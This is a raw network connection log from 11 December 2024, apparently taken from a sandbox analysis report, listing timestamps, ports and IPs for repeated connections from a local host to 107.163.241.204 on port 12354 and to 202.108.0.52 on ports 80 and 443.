Dec 11, 2024 16:28:30.223400116 CET	12354	50643	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.223586082 CET	12354	50643	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.225385904 CET	12354	50639	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.227169037 CET	12354	50639	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.227391958 CET	12354	50648	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.227443933 CET	50648	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.227560997 CET	50648	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.227696896 CET	50654	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.347240925 CET	12354	50648	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.347338915 CET	12354	50654	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.347445965 CET	12354	50648	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.347594023 CET	50654	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.347594023 CET	50654	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.348062038 CET	50659	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.466931105 CET	12354	50654	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.467119932 CET	12354	50654	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.467298985 CET	12354	50659	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.468189955 CET	50664	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.468275070 CET	50659	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.469089985 CET	50659	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.587465048 CET	12354	50664	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.587527037 CET	50664	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.587735891 CET	50664	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.587878942 CET	12354	50659	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.587958097 CET	50659	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.588213921 CET	50659	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.588320971 CET	12354	50659	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.588773966 CET	50669	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.706979036 CET	12354	50664	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.707149982 CET	12354	50664	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.707187891 CET	12354	50659	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.707412004 CET	12354	50659	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.708161116 CET	12354	50669	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.708424091 CET	50669	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.708605051 CET	50673	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.710176945 CET	50669	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.827867985 CET	12354	50673	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.827946901 CET	50673	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.828119040 CET	12354	50669	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.828305006 CET	50673	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.828306913 CET	50669	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.828859091 CET	50669	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.829603910 CET	50677	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.829652071 CET	12354	50669	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.947925091 CET	12354	50673	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.947968960 CET	12354	50673	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.948008060 CET	12354	50669	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.948019028 CET	50673	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.948316097 CET	12354	50669	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.949124098 CET	12354	50677	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:30.949204922 CET	50677	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.955543995 CET	50673	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.956545115 CET	50677	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:30.967938900 CET	50683	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.067257881 CET	12354	50673	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.068761110 CET	12354	50677	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.068803072 CET	50677	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.068908930 CET	50677	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.069220066 CET	50687	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.074894905 CET	12354	50673	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.075957060 CET	12354	50677	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.087301016 CET	12354	50683	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.087373972 CET	50683	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.087590933 CET	50683	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.189130068 CET	12354	50677	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.189197063 CET	12354	50677	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.189480066 CET	12354	50687	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.189574003 CET	50687	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.190001011 CET	50687	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.206785917 CET	12354	50683	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.206796885 CET	12354	50683	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.207850933 CET	50693	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.209208965 CET	80	50627	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:31.209256887 CET	50627	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.213896036 CET	50694	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.213941097 CET	443	50694	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:31.214040041 CET	50694	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.214512110 CET	50694	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.214565039 CET	443	50694	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:31.309943914 CET	12354	50687	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.309998989 CET	12354	50687	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.310008049 CET	50687	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.314716101 CET	50687	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.318448067 CET	50698	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.327193022 CET	12354	50693	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.327272892 CET	50693	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.327429056 CET	50693	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.431170940 CET	12354	50687	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.435094118 CET	12354	50687	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.439116955 CET	12354	50698	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.439208984 CET	50698	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.447211981 CET	12354	50693	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.447230101 CET	12354	50693	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.454478979 CET	50698	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.454766035 CET	443	50694	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:31.503525019 CET	50703	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.503570080 CET	443	50703	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:31.503639936 CET	50703	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.503885031 CET	50703	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.503902912 CET	443	50703	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:31.543272018 CET	50704	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.560921907 CET	12354	50698	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.561005116 CET	50698	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.576009035 CET	12354	50698	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.576699018 CET	50698	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.586282969 CET	50705	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.665138960 CET	12354	50704	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.665220976 CET	50704	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.681363106 CET	50704	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.682281017 CET	12354	50698	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.698384047 CET	12354	50698	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.708044052 CET	12354	50705	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.708149910 CET	50705	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.708460093 CET	50705	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.744190931 CET	443	50703	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:31.745572090 CET	50710	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.745604992 CET	443	50710	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:31.745889902 CET	50710	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.745959044 CET	50710	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.746026039 CET	443	50710	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:31.746187925 CET	50710	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.784915924 CET	12354	50704	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.784974098 CET	50704	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.785027981 CET	50704	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.785341978 CET	50713	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.800671101 CET	12354	50704	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.827867031 CET	12354	50705	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.863152981 CET	50627	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.863282919 CET	50716	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.904335976 CET	12354	50704	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.904346943 CET	12354	50704	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.905374050 CET	12354	50713	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:31.905437946 CET	50713	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.905611992 CET	50713	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:31.982789993 CET	80	50716	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:31.982803106 CET	80	50627	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:31.982851982 CET	50716	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.982877970 CET	50627	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:31.983266115 CET	50716	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:32.025048971 CET	12354	50713	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.025332928 CET	12354	50713	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.026063919 CET	50722	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.102674961 CET	80	50716	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:32.103300095 CET	80	50716	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:32.145495892 CET	12354	50722	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.146332979 CET	50722	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.148013115 CET	50722	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.207289934 CET	50729	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:32.266105890 CET	12354	50722	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.266490936 CET	50722	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.266541958 CET	50722	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.267075062 CET	50732	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.267597914 CET	12354	50722	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.327255964 CET	80	50729	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:32.331808090 CET	50729	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:32.331938982 CET	50729	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:32.385924101 CET	12354	50722	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.386369944 CET	12354	50722	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.388307095 CET	12354	50732	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.388536930 CET	50732	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.388571024 CET	50732	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.451287031 CET	80	50729	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:32.451518059 CET	80	50729	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:32.508424044 CET	12354	50732	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.508435965 CET	12354	50732	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.509151936 CET	50744	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.567153931 CET	50749	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:32.629184961 CET	12354	50744	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.629375935 CET	50744	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.631472111 CET	50744	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.686494112 CET	80	50749	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:32.687228918 CET	50749	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:32.697145939 CET	50749	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:32.755211115 CET	12354	50744	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.820389032 CET	50705	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.820450068 CET	50744	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.820473909 CET	50749	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:32.821585894 CET	50756	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.822808027 CET	80	50749	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:32.823343039 CET	50749	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:32.941097975 CET	12354	50756	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:32.941184044 CET	50756	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.987081051 CET	50756	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.999463081 CET	50757	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:32.999975920 CET	50758	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:33.060560942 CET	12354	50756	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.060612917 CET	50756	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.106247902 CET	12354	50756	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.118869066 CET	12354	50757	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.118961096 CET	50757	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.119216919 CET	80	50758	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:33.119265079 CET	50758	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:33.166440010 CET	50756	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.167299032 CET	50760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.167685986 CET	50757	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.167795897 CET	50758	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:33.182694912 CET	12354	50756	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.238890886 CET	80	50758	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:33.238985062 CET	50758	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:33.285778999 CET	12354	50756	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.286566973 CET	12354	50760	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.286649942 CET	50760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.286890030 CET	12354	50757	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.287024975 CET	80	50758	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:33.358309031 CET	80	50758	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:33.406836987 CET	12354	50760	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.406922102 CET	50760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.432183027 CET	50760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.432238102 CET	50760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.432943106 CET	50761	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.551407099 CET	12354	50760	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.551496029 CET	12354	50760	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.552273989 CET	12354	50761	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.552350044 CET	50761	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.573430061 CET	50761	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.586682081 CET	50763	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:33.672261953 CET	12354	50761	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.672346115 CET	50761	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.673079967 CET	50761	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.677933931 CET	50767	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.693737984 CET	12354	50761	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.707515955 CET	80	50763	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:33.707595110 CET	50763	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:33.741576910 CET	50763	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:33.791816950 CET	12354	50761	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.792749882 CET	12354	50761	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.797421932 CET	12354	50767	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.797530890 CET	50767	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.797712088 CET	50767	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.827357054 CET	80	50763	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:33.827421904 CET	50763	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:33.827485085 CET	50763	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:33.860796928 CET	80	50763	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:33.916965961 CET	12354	50767	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.917114019 CET	12354	50767	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:33.917743921 CET	50779	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:33.943309069 CET	50782	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:33.947009087 CET	80	50763	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:33.947038889 CET	80	50763	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.037054062 CET	12354	50779	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:34.037154913 CET	50779	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:34.039405107 CET	50779	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:34.063407898 CET	80	50782	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.063502073 CET	50782	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.132325888 CET	50782	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.161649942 CET	12354	50779	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:34.186199903 CET	80	50782	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.186286926 CET	50782	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.193600893 CET	50782	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.252928972 CET	80	50782	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.304191113 CET	50795	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.306333065 CET	80	50782	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.313338041 CET	80	50782	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.423899889 CET	80	50795	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.424191952 CET	50795	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.431379080 CET	50795	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.543997049 CET	80	50795	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.544153929 CET	50795	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.544153929 CET	50795	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.550860882 CET	80	50795	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.662448883 CET	50816	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.663446903 CET	80	50795	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.663481951 CET	80	50795	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.781972885 CET	80	50816	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.782079935 CET	50816	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.782563925 CET	50816	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:34.904076099 CET	80	50816	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:34.904215097 CET	80	50816	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:35.020503044 CET	50834	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:35.140134096 CET	80	50834	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:35.140264034 CET	50834	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:35.179332972 CET	50834	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:35.238194942 CET	12354	50757	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.238300085 CET	50757	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.238430977 CET	50757	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.238915920 CET	50843	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.260025024 CET	80	50834	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:35.260121107 CET	50834	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:35.260274887 CET	50834	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:35.299360037 CET	80	50834	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:35.359507084 CET	12354	50757	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.359520912 CET	12354	50843	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.359644890 CET	50843	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.359819889 CET	50843	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.379636049 CET	80	50834	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:35.379650116 CET	80	50834	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:35.383641005 CET	50853	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:35.479581118 CET	12354	50843	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.479593039 CET	12354	50843	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.480218887 CET	50857	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.502867937 CET	80	50853	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:35.502979994 CET	50853	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:35.503182888 CET	50853	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:35.600219011 CET	12354	50857	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.600362062 CET	50857	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.601442099 CET	50857	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.624885082 CET	80	50853	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:35.721568108 CET	12354	50857	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.721618891 CET	50857	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.724205017 CET	12354	50857	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.748481035 CET	50857	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.748941898 CET	50867	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.840873003 CET	12354	50857	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.868199110 CET	12354	50857	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.868951082 CET	12354	50867	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.869102001 CET	50867	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.877557993 CET	50867	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.988600969 CET	12354	50867	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:35.990406036 CET	50867	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:35.996922016 CET	12354	50867	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.110049963 CET	12354	50867	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.130548954 CET	50870	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.149183989 CET	12354	50779	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.152355909 CET	50779	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.153999090 CET	50779	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.251091003 CET	12354	50870	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.251497030 CET	50870	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.275939941 CET	12354	50779	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.345412016 CET	50870	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.349960089 CET	50872	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.377897978 CET	12354	50870	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.377963066 CET	50870	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.379885912 CET	50870	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.380384922 CET	50874	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.464736938 CET	12354	50870	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.469556093 CET	12354	50872	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.469731092 CET	50872	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.473258972 CET	50872	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.498095989 CET	12354	50870	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.499507904 CET	12354	50870	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.499564886 CET	12354	50874	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.499628067 CET	50874	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.510798931 CET	50874	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.589520931 CET	12354	50872	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.592268944 CET	50872	12354	192.168.2.8	107.163.241.204
